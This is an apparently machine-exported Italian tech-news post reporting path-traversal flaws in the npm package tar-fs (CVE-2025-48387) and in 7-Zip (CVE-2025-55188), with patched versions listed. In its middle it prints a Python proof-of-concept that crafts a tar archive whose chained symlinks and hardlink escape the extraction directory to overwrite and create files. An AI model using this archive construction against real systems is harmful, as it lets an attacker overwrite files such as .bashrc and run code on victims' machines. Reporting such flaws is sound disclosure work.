{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilit\u00e0 in tar-fs e 7-Zip, che consentono di scrivere file al di fuori della directory di base","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Nel pacchetto NPM tar-fs \u00e8 stata identificata una vulnerabilit\u00e0 (CVE-2025-48387) che consente, durante l'estrazione di un archivio tar appositamente formattato, di scrivere file in qualsiasi parte del file system, senza limitazioni alla directory di destinazione (a seconda dei diritti di accesso dell'utente corrente). La vulnerabilit\u00e0 pu\u00f2 anche essere sfruttata per sovrascrivere file esistenti, ad esempio, file come «.ssh\/id_rsa» o «.bashrc» nella home directory dell'utente possono essere sovrascritti per eseguire codice malevolo nel sistema. <\/p>\n
La questione \u00e8 stata classificata con livello di rischio critico, considerando che il pacchetto tar-fs ha 23 milioni di download settimanali ed \u00e8 utilizzato come dipendenza in 1155 progetti. La vulnerabilit\u00e0 \u00e8 stata risolta nelle versioni 3.0.9, 2.1.3 e 1.16.5, rilasciate a maggio, ma le informazioni sulla vulnerabilit\u00e0 sono state divulgate solo quasi tre mesi dopo. <\/p>\n
La vulnerabilit\u00e0 \u00e8 causata da controlli insufficienti sui link simbolici e rigidi presenti nell'archivio, per verificare se oltrepassano la directory di destinazione per l'estrazione. Per eludere i controlli, vengono utilizzati due link simbolici: il primo punta alla directory radice dell'archivio in estrazione («.»), e il secondo \u00e8 creato relativamente al primo link simbolico e utilizza caratteri «..» nel nome per oltrepassare la directory base. Ad esempio, il primo link «noop\/noop\/noop» punta a «.», mentre il secondo «noop\/noop\/noop\/....\/....\/..» si traduce come «.\/....\/....\/». Per organizzare la sovrascrittura dei file nell'archivio, pu\u00f2 essere creato un link rigido che punta a un file esterno rispetto al secondo link simbolico. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
Una vulnerabilit\u00e0 simile (CVE-2025-55188) \u00e8 stata identificata nell'archiviatore 7-Zip. Anche in 7-Zip, file possono essere scritti al di fuori della directory base utilizzando link simbolici che contengono la sequenza «..» nel percorso del file. Il problema pu\u00f2 essere sfruttato durante l'estrazione con 7-Zip di qualsiasi archivio che supporti link simbolici, come zip, tar, 7z e rar. Il problema \u00e8 stato risolto nella versione 7-Zip 25.01. \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"